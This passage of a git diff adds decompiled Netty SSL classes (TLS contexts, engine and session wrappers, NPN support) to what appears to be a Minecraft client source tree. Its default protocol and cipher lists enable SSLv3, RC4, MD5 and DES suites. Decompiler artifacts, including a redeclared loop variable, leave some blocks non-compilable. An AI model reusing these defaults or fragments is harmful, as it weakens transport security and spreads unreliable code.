+      this.nextProtocols = Collections.emptyList();
+    }
+    try
+    {
+      if (certChainFile == null) {
+        ctx = SSLContext.getInstance("TLS");
+        if (trustManagerFactory == null) {
+          ctx.init(null, null, null);
+        } else {
+          trustManagerFactory.init((KeyStore)null);
+          ctx.init(null, trustManagerFactory.getTrustManagers(), null);
+        }
+      } else {
+        KeyStore ks = KeyStore.getInstance("JKS");
+        ks.load(null, null);
+        CertificateFactory cf = CertificateFactory.getInstance("X.509");
+        
+        ByteBuf[] certs = PemReader.readCertificates(certChainFile);
+        try {
+          for (ByteBuf buf : certs) {
+            X509Certificate cert = (X509Certificate)cf.generateCertificate(new ByteBufInputStream(buf));
+            X500Principal principal = cert.getSubjectX500Principal();
+            ks.setCertificateEntry(principal.getName("RFC2253"), cert); } } finally { ByteBuf[] arr$;
+          int len$;
+          int i$;
+          ByteBuf buf; for (ByteBuf buf : certs) {
+            buf.release();
+          }
+        }
+        
+
+        if (trustManagerFactory == null) {
+          trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+        }
+        trustManagerFactory.init(ks);
+        
+
+        ctx = SSLContext.getInstance("TLS");
+        ctx.init(null, trustManagerFactory.getTrustManagers(), null);
+      }
+      
+      SSLSessionContext sessCtx = ctx.getClientSessionContext();
+      if (sessionCacheSize > 0L) {
+        sessCtx.setSessionCacheSize((int)Math.min(sessionCacheSize, 2147483647L));
+      }
+      if (sessionTimeout > 0L) {
+        sessCtx.setSessionTimeout((int)Math.min(sessionTimeout, 2147483647L));
+      }
+    } catch (Exception e) {
+      throw new SSLException("failed to initialize the server-side SSL context", e);
+    }
+  }
+  
+  public boolean isClient()
+  {
+    return true;
+  }
+  
+  public List<String> nextProtocols()
+  {
+    return nextProtocols;
+  }
+  
+  public SSLContext context()
+  {
+    return ctx;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkSslContext.java b/src/minecraft/io/netty/handler/ssl/JdkSslContext.java
new file mode 100644
index 0000000..14f09a5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkSslContext.java
@@ -0,0 +1,191 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLSessionContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class JdkSslContext
+  extends SslContext
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(JdkSslContext.class);
+  static final String PROTOCOL = "TLS";
+  static final String[] PROTOCOLS;
+  static final List<String> DEFAULT_CIPHERS;
+  private final String[] cipherSuites;
+  private final List<String> unmodifiableCipherSuites;
+  
+  static {
+    SSLContext context;
+    try { context = SSLContext.getInstance("TLS");
+      context.init(null, null, null);
+    } catch (Exception e) {
+      throw new Error("failed to initialize the default SSL context", e);
+    }
+    
+    SSLEngine engine = context.createSSLEngine();
+    
+
+    String[] supportedProtocols = engine.getSupportedProtocols();
+    List<String> protocols = new ArrayList();
+    addIfSupported(supportedProtocols, protocols, new String[] { "TLSv1.2", "TLSv1.1", "TLSv1", "SSLv3" });
+    
+
+
+    if (!protocols.isEmpty()) {
+      PROTOCOLS = (String[])protocols.toArray(new String[protocols.size()]);
+    } else {
+      PROTOCOLS = engine.getEnabledProtocols();
+    }
+    
+
+    String[] supportedCiphers = engine.getSupportedCipherSuites();
+    List<String> ciphers = new ArrayList();
+    addIfSupported(supportedCiphers, ciphers, new String[] { "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_RC4_128_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "SSL_RSA_WITH_RC4_128_SHA", "SSL_RSA_WITH_RC4_128_MD5", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "SSL_RSA_WITH_DES_CBC_SHA" });
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (!ciphers.isEmpty()) {
+      DEFAULT_CIPHERS = Collections.unmodifiableList(ciphers);
+    }
+    else {
+      DEFAULT_CIPHERS = Collections.unmodifiableList(Arrays.asList(engine.getEnabledCipherSuites()));
+    }
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("Default protocols (JDK): {} ", Arrays.asList(PROTOCOLS));
+      logger.debug("Default cipher suites (JDK): {}", DEFAULT_CIPHERS);
+    }
+  }
+  
+  private static void addIfSupported(String[] supported, List<String> enabled, String... names) {
+    for (String n : names) {
+      for (String s : supported) {
+        if (n.equals(s)) {
+          enabled.add(s);
+          break;
+        }
+      }
+    }
+  }
+  
+
+
+  JdkSslContext(Iterable<String> ciphers)
+  {
+    cipherSuites = toCipherSuiteArray(ciphers);
+    unmodifiableCipherSuites = Collections.unmodifiableList(Arrays.asList(cipherSuites));
+  }
+  
+
+
+
+
+
+
+
+  public final SSLSessionContext sessionContext()
+  {
+    if (isServer()) {
+      return context().getServerSessionContext();
+    }
+    return context().getClientSessionContext();
+  }
+  
+
+  public final List<String> cipherSuites()
+  {
+    return unmodifiableCipherSuites;
+  }
+  
+  public final long sessionCacheSize()
+  {
+    return sessionContext().getSessionCacheSize();
+  }
+  
+  public final long sessionTimeout()
+  {
+    return sessionContext().getSessionTimeout();
+  }
+  
+  public final SSLEngine newEngine(ByteBufAllocator alloc)
+  {
+    SSLEngine engine = context().createSSLEngine();
+    engine.setEnabledCipherSuites(cipherSuites);
+    engine.setEnabledProtocols(PROTOCOLS);
+    engine.setUseClientMode(isClient());
+    return wrapEngine(engine);
+  }
+  
+  public final SSLEngine newEngine(ByteBufAllocator alloc, String peerHost, int peerPort)
+  {
+    SSLEngine engine = context().createSSLEngine(peerHost, peerPort);
+    engine.setEnabledCipherSuites(cipherSuites);
+    engine.setEnabledProtocols(PROTOCOLS);
+    engine.setUseClientMode(isClient());
+    return wrapEngine(engine);
+  }
+  
+  private SSLEngine wrapEngine(SSLEngine engine) {
+    if (nextProtocols().isEmpty()) {
+      return engine;
+    }
+    return new JettyNpnSslEngine(engine, nextProtocols(), isServer());
+  }
+  
+  private static String[] toCipherSuiteArray(Iterable<String> ciphers)
+  {
+    if (ciphers == null) {
+      return (String[])DEFAULT_CIPHERS.toArray(new String[DEFAULT_CIPHERS.size()]);
+    }
+    List<String> newCiphers = new ArrayList();
+    for (String c : ciphers) {
+      if (c == null) {
+        break;
+      }
+      newCiphers.add(c);
+    }
+    return (String[])newCiphers.toArray(new String[newCiphers.size()]);
+  }
+  
+  public abstract SSLContext context();
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkSslEngine.java b/src/minecraft/io/netty/handler/ssl/JdkSslEngine.java
new file mode 100644
index 0000000..ea5c710
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkSslEngine.java
@@ -0,0 +1,204 @@
+package io.netty.handler.ssl;
+
+import java.nio.ByteBuffer;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLEngineResult;
+import javax.net.ssl.SSLEngineResult.HandshakeStatus;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLParameters;
+import javax.net.ssl.SSLSession;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class JdkSslEngine
+  extends SSLEngine
+{
+  private final SSLEngine engine;
+  private final JdkSslSession session;
+  
+  JdkSslEngine(SSLEngine engine)
+  {
+    this.engine = engine;
+    session = new JdkSslSession(engine);
+  }
+  
+  public JdkSslSession getSession()
+  {
+    return session;
+  }
+  
+  public SSLEngine getWrappedEngine() {
+    return engine;
+  }
+  
+  public void closeInbound() throws SSLException
+  {
+    engine.closeInbound();
+  }
+  
+  public void closeOutbound()
+  {
+    engine.closeOutbound();
+  }
+  
+  public String getPeerHost()
+  {
+    return engine.getPeerHost();
+  }
+  
+  public int getPeerPort()
+  {
+    return engine.getPeerPort();
+  }
+  
+  public SSLEngineResult wrap(ByteBuffer byteBuffer, ByteBuffer byteBuffer2) throws SSLException
+  {
+    return engine.wrap(byteBuffer, byteBuffer2);
+  }
+  
+  public SSLEngineResult wrap(ByteBuffer[] byteBuffers, ByteBuffer byteBuffer) throws SSLException
+  {
+    return engine.wrap(byteBuffers, byteBuffer);
+  }
+  
+  public SSLEngineResult wrap(ByteBuffer[] byteBuffers, int i, int i2, ByteBuffer byteBuffer) throws SSLException
+  {
+    return engine.wrap(byteBuffers, i, i2, byteBuffer);
+  }
+  
+  public SSLEngineResult unwrap(ByteBuffer byteBuffer, ByteBuffer byteBuffer2) throws SSLException
+  {
+    return engine.unwrap(byteBuffer, byteBuffer2);
+  }
+  
+  public SSLEngineResult unwrap(ByteBuffer byteBuffer, ByteBuffer[] byteBuffers) throws SSLException
+  {
+    return engine.unwrap(byteBuffer, byteBuffers);
+  }
+  
+  public SSLEngineResult unwrap(ByteBuffer byteBuffer, ByteBuffer[] byteBuffers, int i, int i2) throws SSLException
+  {
+    return engine.unwrap(byteBuffer, byteBuffers, i, i2);
+  }
+  
+  public Runnable getDelegatedTask()
+  {
+    return engine.getDelegatedTask();
+  }
+  
+  public boolean isInboundDone()
+  {
+    return engine.isInboundDone();
+  }
+  
+  public boolean isOutboundDone()
+  {
+    return engine.isOutboundDone();
+  }
+  
+  public String[] getSupportedCipherSuites()
+  {
+    return engine.getSupportedCipherSuites();
+  }
+  
+  public String[] getEnabledCipherSuites()
+  {
+    return engine.getEnabledCipherSuites();
+  }
+  
+  public void setEnabledCipherSuites(String[] strings)
+  {
+    engine.setEnabledCipherSuites(strings);
+  }
+  
+  public String[] getSupportedProtocols()
+  {
+    return engine.getSupportedProtocols();
+  }
+  
+  public String[] getEnabledProtocols()
+  {
+    return engine.getEnabledProtocols();
+  }
+  
+  public void setEnabledProtocols(String[] strings)
+  {
+    engine.setEnabledProtocols(strings);
+  }
+  
+  public SSLSession getHandshakeSession()
+  {
+    return engine.getHandshakeSession();
+  }
+  
+  public void beginHandshake() throws SSLException
+  {
+    engine.beginHandshake();
+  }
+  
+  public SSLEngineResult.HandshakeStatus getHandshakeStatus()
+  {
+    return engine.getHandshakeStatus();
+  }
+  
+  public void setUseClientMode(boolean b)
+  {
+    engine.setUseClientMode(b);
+  }
+  
+  public boolean getUseClientMode()
+  {
+    return engine.getUseClientMode();
+  }
+  
+  public void setNeedClientAuth(boolean b)
+  {
+    engine.setNeedClientAuth(b);
+  }
+  
+  public boolean getNeedClientAuth()
+  {
+    return engine.getNeedClientAuth();
+  }
+  
+  public void setWantClientAuth(boolean b)
+  {
+    engine.setWantClientAuth(b);
+  }
+  
+  public boolean getWantClientAuth()
+  {
+    return engine.getWantClientAuth();
+  }
+  
+  public void setEnableSessionCreation(boolean b)
+  {
+    engine.setEnableSessionCreation(b);
+  }
+  
+  public boolean getEnableSessionCreation()
+  {
+    return engine.getEnableSessionCreation();
+  }
+  
+  public SSLParameters getSSLParameters()
+  {
+    return engine.getSSLParameters();
+  }
+  
+  public void setSSLParameters(SSLParameters sslParameters)
+  {
+    engine.setSSLParameters(sslParameters);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkSslServerContext.java b/src/minecraft/io/netty/handler/ssl/JdkSslServerContext.java
new file mode 100644
index 0000000..276a0b9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkSslServerContext.java
@@ -0,0 +1,240 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import java.io.File;
+import java.io.IOException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyFactory;
+import java.security.KeyStore;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.Security;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import javax.crypto.Cipher;
+import javax.crypto.EncryptedPrivateKeyInfo;
+import javax.crypto.NoSuchPaddingException;
+import javax.crypto.SecretKey;
+import javax.crypto.SecretKeyFactory;
+import javax.crypto.spec.PBEKeySpec;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLSessionContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JdkSslServerContext
+  extends JdkSslContext
+{
+  private final SSLContext ctx;
+  private final List<String> nextProtocols;
+  
+  public JdkSslServerContext(File certChainFile, File keyFile)
+    throws SSLException
+  {
+    this(certChainFile, keyFile, null);
+  }
+  
+
+
+
+
+
+
+  public JdkSslServerContext(File certChainFile, File keyFile, String keyPassword)
+    throws SSLException
+  {
+    this(certChainFile, keyFile, keyPassword, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JdkSslServerContext(File certChainFile, File keyFile, String keyPassword, Iterable<String> ciphers, Iterable<String> nextProtocols, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    super(ciphers);
+    
+    if (certChainFile == null) {
+      throw new NullPointerException("certChainFile");
+    }
+    if (keyFile == null) {
+      throw new NullPointerException("keyFile");
+    }
+    
+    if (keyPassword == null) {
+      keyPassword = "";
+    }
+    
+    if ((nextProtocols != null) && (nextProtocols.iterator().hasNext())) {
+      if (!JettyNpnSslEngine.isAvailable()) {
+        throw new SSLException("NPN/ALPN unsupported: " + nextProtocols);
+      }
+      
+      List<String> list = new ArrayList();
+      for (String p : nextProtocols) {
+        if (p == null) {
+          break;
+        }
+        list.add(p);
+      }
+      
+      this.nextProtocols = Collections.unmodifiableList(list);
+    } else {
+      this.nextProtocols = Collections.emptyList();
+    }
+    
+    String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm");
+    if (algorithm == null) {
+      algorithm = "SunX509";
+    }
+    try
+    {
+      KeyStore ks = KeyStore.getInstance("JKS");
+      ks.load(null, null);
+      CertificateFactory cf = CertificateFactory.getInstance("X.509");
+      KeyFactory rsaKF = KeyFactory.getInstance("RSA");
+      KeyFactory dsaKF = KeyFactory.getInstance("DSA");
+      
+      ByteBuf encodedKeyBuf = PemReader.readPrivateKey(keyFile);
+      byte[] encodedKey = new byte[encodedKeyBuf.readableBytes()];
+      encodedKeyBuf.readBytes(encodedKey).release();
+      
+      char[] keyPasswordChars = keyPassword.toCharArray();
+      PKCS8EncodedKeySpec encodedKeySpec = generateKeySpec(keyPasswordChars, encodedKey);
+      PrivateKey key;
+      try
+      {
+        key = rsaKF.generatePrivate(encodedKeySpec);
+      } catch (InvalidKeySpecException ignore) {
+        key = dsaKF.generatePrivate(encodedKeySpec);
+      }
+      
+      List<Certificate> certChain = new ArrayList();
+      ByteBuf[] certs = PemReader.readCertificates(certChainFile);
+      try {
+        for (ByteBuf buf : certs)
+          certChain.add(cf.generateCertificate(new ByteBufInputStream(buf))); } finally { ByteBuf[] arr$;
+        int len$;
+        int i$;
+        ByteBuf buf; for (ByteBuf buf : certs) {
+          buf.release();
+        }
+      }
+      
+      ks.setKeyEntry("key", key, keyPasswordChars, (Certificate[])certChain.toArray(new Certificate[certChain.size()]));
+      
+
+      KeyManagerFactory kmf = KeyManagerFactory.getInstance(algorithm);
+      kmf.init(ks, keyPasswordChars);
+      
+
+      ctx = SSLContext.getInstance("TLS");
+      ctx.init(kmf.getKeyManagers(), null, null);
+      
+      SSLSessionContext sessCtx = ctx.getServerSessionContext();
+      if (sessionCacheSize > 0L) {
+        sessCtx.setSessionCacheSize((int)Math.min(sessionCacheSize, 2147483647L));
+      }
+      if (sessionTimeout > 0L) {
+        sessCtx.setSessionTimeout((int)Math.min(sessionTimeout, 2147483647L));
+      }
+    } catch (Exception e) {
+      throw new SSLException("failed to initialize the server-side SSL context", e);
+    }
+  }
+  
+  public boolean isClient()
+  {
+    return false;
+  }
+  
+  public List<String> nextProtocols()
+  {
+    return nextProtocols;
+  }
+  
+  public SSLContext context()
+  {
+    return ctx;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static PKCS8EncodedKeySpec generateKeySpec(char[] password, byte[] key)
+    throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeySpecException, InvalidKeyException, InvalidAlgorithmParameterException
+  {
+    if ((password == null) || (password.length == 0)) {
+      return new PKCS8EncodedKeySpec(key);
+    }
+    
+    EncryptedPrivateKeyInfo encryptedPrivateKeyInfo = new EncryptedPrivateKeyInfo(key);
+    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(encryptedPrivateKeyInfo.getAlgName());
+    PBEKeySpec pbeKeySpec = new PBEKeySpec(password);
+    SecretKey pbeKey = keyFactory.generateSecret(pbeKeySpec);
+    
+    Cipher cipher = Cipher.getInstance(encryptedPrivateKeyInfo.getAlgName());
+    cipher.init(2, pbeKey, encryptedPrivateKeyInfo.getAlgParameters());
+    
+    return encryptedPrivateKeyInfo.getKeySpec(cipher);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JdkSslSession.java b/src/minecraft/io/netty/handler/ssl/JdkSslSession.java
new file mode 100644
index 0000000..b6272d7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JdkSslSession.java
@@ -0,0 +1,152 @@
+package io.netty.handler.ssl;
+
+import java.security.Principal;
+import java.security.cert.Certificate;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.X509Certificate;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class JdkSslSession
+  implements SSLSession, ApplicationProtocolAccessor
+{
+  private final SSLEngine engine;
+  private volatile String applicationProtocol;
+  
+  JdkSslSession(SSLEngine engine)
+  {
+    this.engine = engine;
+  }
+  
+  private SSLSession unwrap() {
+    return engine.getSession();
+  }
+  
+  public String getProtocol()
+  {
+    return unwrap().getProtocol();
+  }
+  
+  public String getApplicationProtocol()
+  {
+    return applicationProtocol;
+  }
+  
+  void setApplicationProtocol(String applicationProtocol) {
+    this.applicationProtocol = applicationProtocol;
+  }
+  
+  public byte[] getId()
+  {
+    return unwrap().getId();
+  }
+  
+  public SSLSessionContext getSessionContext()
+  {
+    return unwrap().getSessionContext();
+  }
+  
+  public long getCreationTime()
+  {
+    return unwrap().getCreationTime();
+  }
+  
+  public long getLastAccessedTime()
+  {
+    return unwrap().getLastAccessedTime();
+  }
+  
+  public void invalidate()
+  {
+    unwrap().invalidate();
+  }
+  
+  public boolean isValid()
+  {
+    return unwrap().isValid();
+  }
+  
+  public void putValue(String s, Object o)
+  {
+    unwrap().putValue(s, o);
+  }
+  
+  public Object getValue(String s)
+  {
+    return unwrap().getValue(s);
+  }
+  
+  public void removeValue(String s)
+  {
+    unwrap().removeValue(s);
+  }
+  
+  public String[] getValueNames()
+  {
+    return unwrap().getValueNames();
+  }
+  
+  public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException
+  {
+    return unwrap().getPeerCertificates();
+  }
+  
+  public Certificate[] getLocalCertificates()
+  {
+    return unwrap().getLocalCertificates();
+  }
+  
+  public X509Certificate[] getPeerCertificateChain() throws SSLPeerUnverifiedException
+  {
+    return unwrap().getPeerCertificateChain();
+  }
+  
+  public Principal getPeerPrincipal() throws SSLPeerUnverifiedException
+  {
+    return unwrap().getPeerPrincipal();
+  }
+  
+  public Principal getLocalPrincipal()
+  {
+    return unwrap().getLocalPrincipal();
+  }
+  
+  public String getCipherSuite()
+  {
+    return unwrap().getCipherSuite();
+  }
+  
+  public String getPeerHost()
+  {
+    return unwrap().getPeerHost();
+  }
+  
+  public int getPeerPort()
+  {
+    return unwrap().getPeerPort();
+  }
+  
+  public int getPacketBufferSize()
+  {
+    return unwrap().getPacketBufferSize();
+  }
+  
+  public int getApplicationBufferSize()
+  {
+    return unwrap().getApplicationBufferSize();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JettyNpnSslEngine.java b/src/minecraft/io/netty/handler/ssl/JettyNpnSslEngine.java
new file mode 100644
index 0000000..4e2793a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JettyNpnSslEngine.java
@@ -0,0 +1,280 @@
+package io.netty.handler.ssl;
+
+import java.nio.ByteBuffer;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLEngineResult;
+import javax.net.ssl.SSLEngineResult.HandshakeStatus;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLParameters;
+import javax.net.ssl.SSLSession;
+import org.eclipse.jetty.npn.NextProtoNego;
+import org.eclipse.jetty.npn.NextProtoNego.ClientProvider;
+import org.eclipse.jetty.npn.NextProtoNego.ServerProvider;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class JettyNpnSslEngine
+  extends SSLEngine
+{
+  private static boolean available;
+  private final SSLEngine engine;
+  private final JettyNpnSslSession session;
+  
+  static boolean isAvailable()
+  {
+    updateAvailability();
+    return available;
+  }
+  
+  private static void updateAvailability() {
+    if (available) {
+      return;
+    }
+    try
+    {
+      ClassLoader bootloader = ClassLoader.getSystemClassLoader().getParent();
+      if (bootloader == null)
+      {
+
+        bootloader = ClassLoader.getSystemClassLoader();
+      }
+      Class.forName("sun.security.ssl.NextProtoNegoExtension", true, bootloader);
+      available = true;
+    }
+    catch (Exception ignore) {}
+  }
+  
+
+
+
+  JettyNpnSslEngine(SSLEngine engine, final List<String> nextProtocols, boolean server)
+  {
+    assert (!nextProtocols.isEmpty());
+    
+    this.engine = engine;
+    session = new JettyNpnSslSession(engine);
+    
+    if (server) {
+      NextProtoNego.put(engine, new NextProtoNego.ServerProvider()
+      {
+        public void unsupported() {
+          getSession().setApplicationProtocol((String)nextProtocols.get(nextProtocols.size() - 1));
+        }
+        
+        public List<String> protocols()
+        {
+          return nextProtocols;
+        }
+        
+        public void protocolSelected(String protocol)
+        {
+          getSession().setApplicationProtocol(protocol);
+        }
+      });
+    } else {
+      final String[] list = (String[])nextProtocols.toArray(new String[nextProtocols.size()]);
+      final String fallback = list[(list.length - 1)];
+      
+      NextProtoNego.put(engine, new NextProtoNego.ClientProvider()
+      {
+        public boolean supports() {
+          return true;
+        }
+        
+        public void unsupported()
+        {
+          session.setApplicationProtocol(null);
+        }
+        
+        public String selectProtocol(List<String> protocols)
+        {
+          for (String p : list) {
+            if (protocols.contains(p)) {
+              return p;
+            }
+          }
+          return fallback;
+        }
+      });
+    }
+  }
+  
+  public JettyNpnSslSession getSession()
+  {
+    return session;
+  }
+  
+  public void closeInbound() throws SSLException
+  {
+    NextProtoNego.remove(engine);
+    engine.closeInbound();
+  }
+  
+  public void closeOutbound()
+  {
+    NextProtoNego.remove(engine);
+    engine.closeOutbound();
+  }
+  
+  public String getPeerHost()
+  {
+    return engine.getPeerHost();
+  }
+  
+  public int getPeerPort()
+  {
+    return engine.getPeerPort();
+  }
+  
+  public SSLEngineResult wrap(ByteBuffer byteBuffer, ByteBuffer byteBuffer2) throws SSLException
+  {
+    return engine.wrap(byteBuffer, byteBuffer2);
+  }
+  
+  public SSLEngineResult wrap(ByteBuffer[] byteBuffers, ByteBuffer byteBuffer) throws SSLException
+  {
+    return engine.wrap(byteBuffers, byteBuffer);
+  }
+  
+  public SSLEngineResult wrap(ByteBuffer[] byteBuffers, int i, int i2, ByteBuffer byteBuffer) throws SSLException
+  {
+    return engine.wrap(byteBuffers, i, i2, byteBuffer);
+  }
+  
+  public SSLEngineResult unwrap(ByteBuffer byteBuffer, ByteBuffer byteBuffer2) throws SSLException
+  {
+    return engine.unwrap(byteBuffer, byteBuffer2);
+  }
+  
+  public SSLEngineResult unwrap(ByteBuffer byteBuffer, ByteBuffer[] byteBuffers) throws SSLException
+  {
+    return engine.unwrap(byteBuffer, byteBuffers);
+  }
+  
+  public SSLEngineResult unwrap(ByteBuffer byteBuffer, ByteBuffer[] byteBuffers, int i, int i2) throws SSLException
+  {
+    return engine.unwrap(byteBuffer, byteBuffers, i, i2);
+  }
+  
+  public Runnable getDelegatedTask()
+  {
+    return engine.getDelegatedTask();
+  }
+  
+  public boolean isInboundDone()
+  {
+    return engine.isInboundDone();
+  }
+  
+  public boolean isOutboundDone()
+  {
+    return engine.isOutboundDone();
+  }
+  
+  public String[] getSupportedCipherSuites()
+  {
+    return engine.getSupportedCipherSuites();
+  }
+  
+  public String[] getEnabledCipherSuites()
+  {
+    return engine.getEnabledCipherSuites();
+  }
+  
+  public void setEnabledCipherSuites(String[] strings)
+  {
+    engine.setEnabledCipherSuites(strings);
+  }
+  
+  public String[] getSupportedProtocols()
+  {
+    return engine.getSupportedProtocols();
+  }
+  
+  public String[] getEnabledProtocols()
+  {
+    return engine.getEnabledProtocols();
+  }
+  
+  public void setEnabledProtocols(String[] strings)
+  {
+    engine.setEnabledProtocols(strings);
+  }
+  
+  public SSLSession getHandshakeSession()
+  {
+    return engine.getHandshakeSession();
+  }
+  
+  public void beginHandshake() throws SSLException
+  {
+    engine.beginHandshake();
+  }
+  
+  public SSLEngineResult.HandshakeStatus getHandshakeStatus()
+  {
+    return engine.getHandshakeStatus();
+  }
+  
+  public void setUseClientMode(boolean b)
+  {
+    engine.setUseClientMode(b);
+  }
+  
+  public boolean getUseClientMode()
+  {
+    return engine.getUseClientMode();
+  }
+  
+  public void setNeedClientAuth(boolean b)
+  {
+    engine.setNeedClientAuth(b);
+  }
+  
+  public boolean getNeedClientAuth()
+  {
+    return engine.getNeedClientAuth();
+  }
+  
+  public void setWantClientAuth(boolean b)
+  {
+    engine.setWantClientAuth(b);
+  }
+  
+  public boolean getWantClientAuth()
+  {
+    return engine.getWantClientAuth();
+  }
+  
+  public void setEnableSessionCreation(boolean b)
+  {
+    engine.setEnableSessionCreation(b);
+  }
+  
+  public boolean getEnableSessionCreation()
+  {
+    return engine.getEnableSessionCreation();
+  }
+  
+  public SSLParameters getSSLParameters()
+  {
+    return engine.getSSLParameters();
+  }
+  
+  public void setSSLParameters(SSLParameters sslParameters)
+  {
+    engine.setSSLParameters(sslParameters);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/JettyNpnSslSession.java b/src/minecraft/io/netty/handler/ssl/JettyNpnSslSession.java
new file mode 100644
index 0000000..0f3da3b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/JettyNpnSslSession.java
@@ -0,0 +1,170 @@
+package io.netty.handler.ssl;
+
+import java.security.Principal;
+import java.security.cert.Certificate;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.X509Certificate;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class JettyNpnSslSession
+  implements SSLSession
+{
+  private final SSLEngine engine;
+  private volatile String applicationProtocol;
+  
+  JettyNpnSslSession(SSLEngine engine)
+  {
+    this.engine = engine;
+  }
+  
+  void setApplicationProtocol(String applicationProtocol) {
+    if (applicationProtocol != null) {
+      applicationProtocol = applicationProtocol.replace(':', '_');
+    }
+    this.applicationProtocol = applicationProtocol;
+  }
+  
+  public String getProtocol()
+  {
+    String protocol = unwrap().getProtocol();
+    String applicationProtocol = this.applicationProtocol;
+    
+    if (applicationProtocol == null) {
+      if (protocol != null) {
+        return protocol.replace(':', '_');
+      }
+      return null;
+    }
+    
+
+    StringBuilder buf = new StringBuilder(32);
+    if (protocol != null) {
+      buf.append(protocol.replace(':', '_'));
+      buf.append(':');
+    } else {
+      buf.append("null:");
+    }
+    buf.append(applicationProtocol);
+    return buf.toString();
+  }
+  
+  private SSLSession unwrap() {
+    return engine.getSession();
+  }
+  
+  public byte[] getId()
+  {
+    return unwrap().getId();
+  }
+  
+  public SSLSessionContext getSessionContext()
+  {
+    return unwrap().getSessionContext();
+  }
+  
+  public long getCreationTime()
+  {
+    return unwrap().getCreationTime();
+  }
+  
+  public long getLastAccessedTime()
+  {
+    return unwrap().getLastAccessedTime();
+  }
+  
+  public void invalidate()
+  {
+    unwrap().invalidate();
+  }
+  
+  public boolean isValid()
+  {
+    return unwrap().isValid();
+  }
+  
+  public void putValue(String s, Object o)
+  {
+    unwrap().putValue(s, o);
+  }
+  
+  public Object getValue(String s)
+  {
+    return unwrap().getValue(s);
+  }
+  
+  public void removeValue(String s)
+  {
+    unwrap().removeValue(s);
+  }
+  
+  public String[] getValueNames()
+  {
+    return unwrap().getValueNames();
+  }
+  
+  public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException
+  {
+    return unwrap().getPeerCertificates();
+  }
+  
+  public Certificate[] getLocalCertificates()
+  {
+    return unwrap().getLocalCertificates();
+  }
+  
+  public X509Certificate[] getPeerCertificateChain() throws SSLPeerUnverifiedException
+  {
+    return unwrap().getPeerCertificateChain();
+  }
+  
+  public Principal getPeerPrincipal() throws SSLPeerUnverifiedException
+  {
+    return unwrap().getPeerPrincipal();
+  }
+  
+  public Principal getLocalPrincipal()
+  {
+    return unwrap().getLocalPrincipal();
+  }
+  
+  public String getCipherSuite()
+  {
+    return unwrap().getCipherSuite();
+  }
+  
+  public String getPeerHost()
+  {
+    return unwrap().getPeerHost();
+  }
+  
+  public int getPeerPort()
+  {
+    return unwrap().getPeerPort();
+  }
+  
+  public int getPacketBufferSize()
+  {
